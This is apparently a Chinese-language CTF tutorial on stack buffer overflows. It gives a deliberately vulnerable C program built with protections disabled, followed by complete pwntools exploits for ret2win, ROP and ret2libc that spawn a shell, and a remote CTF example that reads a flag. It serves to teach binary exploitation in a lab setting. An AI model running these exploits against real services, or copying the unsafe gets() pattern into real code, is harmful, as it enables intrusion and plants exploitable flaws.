栈溢出与 ROP 深入实战:偏移、ret2win 与 ret2libc

栈溢出与 ROP 深入实战

栈溢出实践:编译与 checksec、cyclic 找偏移、ret2win 利用、PLT/GOT 与 ASLR 原理、ret2libc 泄露计算与完整脚本。

14th Aug 2026

5 min read

一、现实背景:缓冲区溢出

gets、strcpy、sprintf 不校验写入长度。输入超过缓冲区容量时,数据覆盖相邻内存,包括函数的返回地址。程序 ret 时跳到被覆盖的地址执行——这就是栈溢出的核心。

本文环境:Linux(Kali/Ubuntu),x86-64 架构,这是 CTF Pwn 的标准环境。

二、环境准备

apt install gcc gdb
pip3 install pwntools ROPgadget
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh

三、漏洞程序与编译

vuln.c:

#include <stdio.h>
#include <stdlib.h>

void win() {
    system("/bin/sh");
}

void vuln() {
    char buf[32];
    gets(buf);
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    puts("Hello, what's your name?");
    vuln();
    puts("Bye!");
    return 0;
}

编译:

gcc -o vuln vuln.c -fno-stack-protector -no-pie

四、核心步骤 1:checksec

目的:开打前判断这条路能否走通,避免构造无效 payload。

思路:No canary → 可以直接覆盖返回地址;No PIE → win 地址写死可用;NX 开启 → 本阶段不打 shellcode,后面用 ROP。

pwn checksec ./vuln

预期输出:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

逐行含义:

输出含义
No canary found无栈金丝雀,可覆盖返回地址
NX enabled栈不可执行,不能直接放 shellcode
No PIE程序地址固定,win 地址可直接写死
Partial RELROGOT 可写(本阶段用不到)

五、核心步骤 2:栈布局与偏移

vuln 栈帧自低到高:

┌──────────────────────┐
│  buf[32]             │  ← gets 写入起点
├──────────────────────┤
│  对齐填充             │
├──────────────────────┤
│  saved rbp(8 字节)   │
├──────────────────────┤
│  返回地址(8 字节)     │  ← 目标
└──────────────────────┘

偏移 = 32 + 8 = 40。

用 pwntools 验证:

思路:cyclic 生成无重复模式串,程序崩溃时 rip 的值取自模式串;cyclic_find 反查位置,即"从输入开头到返回地址的距离"。

from pwn import *

p = process('./vuln')
p.sendline(cyclic(200))
# cyclic(200):生成 200 字节无重复模式串,发出去覆盖栈。
p.wait()
# 等进程崩溃退出,生成 core 文件供读取。
offset = cyclic_find(p.corefile.fault_addr)
# p.corefile.fault_addr:崩溃时 rip 的值。
# cyclic_find:返回该值在模式串中的下标 = 到返回地址的偏移。
print("offset =", offset)

预期输出:

offset = 40

原理:cyclic(200) 生成无重复的模式串;程序崩溃时 rip 的值必然是模式串中的 4/8 字节,cyclic_find 返回它在模式串中的位置,即到返回地址的距离。

六、核心步骤 3:ret2win

目的:把返回地址改成 win,验证控制流劫持成功。

from pwn import *

elf = ELF('./vuln')
p = process('./vuln')

p.recvuntil(b'name?')
# recvuntil(b'name?'):读到提示字符串为止,确保 gets 就绪。
payload = b'A' * 40 + p64(elf.symbols['win'])
# b'A'*40:填充缓冲区与 saved rbp。
# p64(elf.symbols['win']):win 地址转 8 字节小端,覆盖返回地址。
p.sendline(payload)
p.interactive()
# interactive():把终端接到进程,shell 可交互。

运行:

python3 exploit.py

预期结果:

[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

执行过程:gets 把 48 字节写入 buf → 前 40 字节填满 buf+saved rbp → 后 8 字节覆盖返回地址为 win → vuln 的 ret 跳到 win → system("/bin/sh") 弹 shell。

七、进阶:NX 与 ROP

NX 开启后栈不可执行,但代码段可执行。ROP(Return-Oriented Programming)把程序里已有的、以 ret 结尾的指令片段(gadget)串起来执行。

找 gadget:

ROPgadget --binary ./vuln | grep "pop rdi"

预期输出:

0x0000000000401233 : pop rdi ; ret

pop rdi; ret 的作用:把栈上的下一个 8 字节弹进 rdi(x86-64 的第一个参数寄存器),然后 ret 跳到下个地址。栈上布局:

[pop rdi; ret] [参数] [要调用的函数] [下一 gadget] ...

八、进阶:ret2libc

目的:程序内没有目标函数时,改调 libc 的 system("/bin/sh")。

思路:ASLR 让 libc 基址随机,但"符号在 libc 内的偏移"固定。先泄露一个已知符号(puts)的真实地址,反推基址,再计算 system 与 "/bin/sh" 的地址。验证方式:第一段打印出的 puts 地址与 libc 文件里查到的偏移做差,得到的基址应当是 0x...000 结尾。

程序里没有 win 时,改调 libc 里的 system("/bin/sh")。libc 基址被 ASLR 随机化,解决方法是"先泄露,再计算"。

8.1 原理

泄露 puts 的真实地址(调用 puts(puts@got))
libc 基址 = puts 真实地址 - puts 在 libc 中的偏移
system 地址 = libc 基址 + system 偏移
"/bin/sh" 地址 = libc 基址 + 字符串偏移

8.2 完整脚本

from pwn import *

context.log_level = 'error'
# 只显示错误,减少调试信息刷屏。

elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 本地 libc 文件;远程题目若提供 libc,这里换成对应的文件路径。
p = process('./vuln')

offset = 40
pop_rdi = 0x401233        # ROPgadget 搜到的 "pop rdi; ret" 地址
ret = 0x40101a            # 任意 "ret" 地址,用于栈 16 字节对齐

# 第一阶段:泄露 puts 地址并返回 main
payload1 = b'A' * offset
payload1 += p64(ret)
# 先执行一个 ret:让栈指针再弹 8 字节,满足 system 的 16 字节对齐要求。
payload1 += p64(pop_rdi)
payload1 += p64(elf.got['puts'])
# got['puts']:GOT 里存放 puts 真实地址的内存位置。
payload1 += p64(elf.plt['puts'])
# plt['puts']:调用 puts 的入口;执行后相当于 puts(puts@got),打印真实地址。
payload1 += p64(elf.symbols['main'])
# 回到 main,让程序再读一次输入,进行第二阶段。

p.recvuntil(b'name?')
p.sendline(payload1)

leak = u64(p.recvline().strip().ljust(8, b'\x00'))
# recvline():读一行(puts 输出后带换行)。
# strip():去掉换行;ljust(8, b'\x00'):不足 8 字节用 \x00 补齐。
# u64():8 字节小端转成整数,即 puts 的真实地址。
print("puts:", hex(leak))

libc.address = leak - libc.symbols['puts']
# libc.symbols['puts']:puts 在 libc 文件内的固定偏移。
# 真实地址 - 偏移 = libc 基址;给 libc.address 赋值后,
# 后面的 libc.symbols['system'] 会自动加上基址。
print("libc base:", hex(libc.address))

# 第二阶段:system("/bin/sh")
payload2 = b'A' * offset
payload2 += p64(ret)
payload2 += p64(pop_rdi)
payload2 += p64(next(libc.search(b'/bin/sh')))
# libc.search(b'/bin/sh'):在 libc 里找该字符串的所有位置;
# next(...) 取第一个位置(偏移),libc.address 赋值后自动加基址。
payload2 += p64(libc.symbols['system'])
# 调用 system("/bin/sh")。

p.sendlineafter(b'name?', payload2)
# sendlineafter:先等提示再发送,保证时序正确。
p.interactive()

运行输出:

puts: 0x7f8a2c3a5aa0
libc base: 0x7f8a2c328000
[*] Switching to interactive mode
$ id

8.3 三个易错点

  1. 补零:puts 输出的地址以换行结尾,strip() 去掉换行,ljust(8, b'\x00') 补到 8 字节再 u64。
  2. 对齐:system 内部使用 movaps,要求栈 16 字节对齐,需要额外一个 ret。
  3. libc 版本:远程题目若提供 libc,用 libc = ELF('./libc-2.27.so');否则在 libc.rip 输入泄露的地址查版本。

九、必学工具

工具3 个核心功能示例
pwntoolsELF()、cyclic/cyclic_find、p64+sendline见上文
ROPgadget搜索 gadget、指定寄存器、输出地址ROPgadget --binary vuln | grep "pop rdi"
GDB(pwndbg)断点、看栈、查看崩溃点break vuln、x/20gx $rsp、bt

十、小 CTF 实战

题目:nc 1.2.3.4 10001 运行 vuln(No canary、No PIE,有 win)。

from pwn import *

elf = ELF('./vuln')
p = remote('1.2.3.4', 10001)

payload = b'A' * 40 + p64(elf.symbols['win'])
p.sendline(payload)
p.sendline(b'cat flag')
p.interactive()

预期输出:

flag{ret2win}

十一、小结

栈溢出主线:checksec 判断防护 → cyclic 找偏移 → 覆盖返回地址。NX 出现后用 ROP,ASLR 出现后先泄露再计算。练熟 ret2win 与 ret2libc 即可覆盖大多数入门到中级 Pwn 题。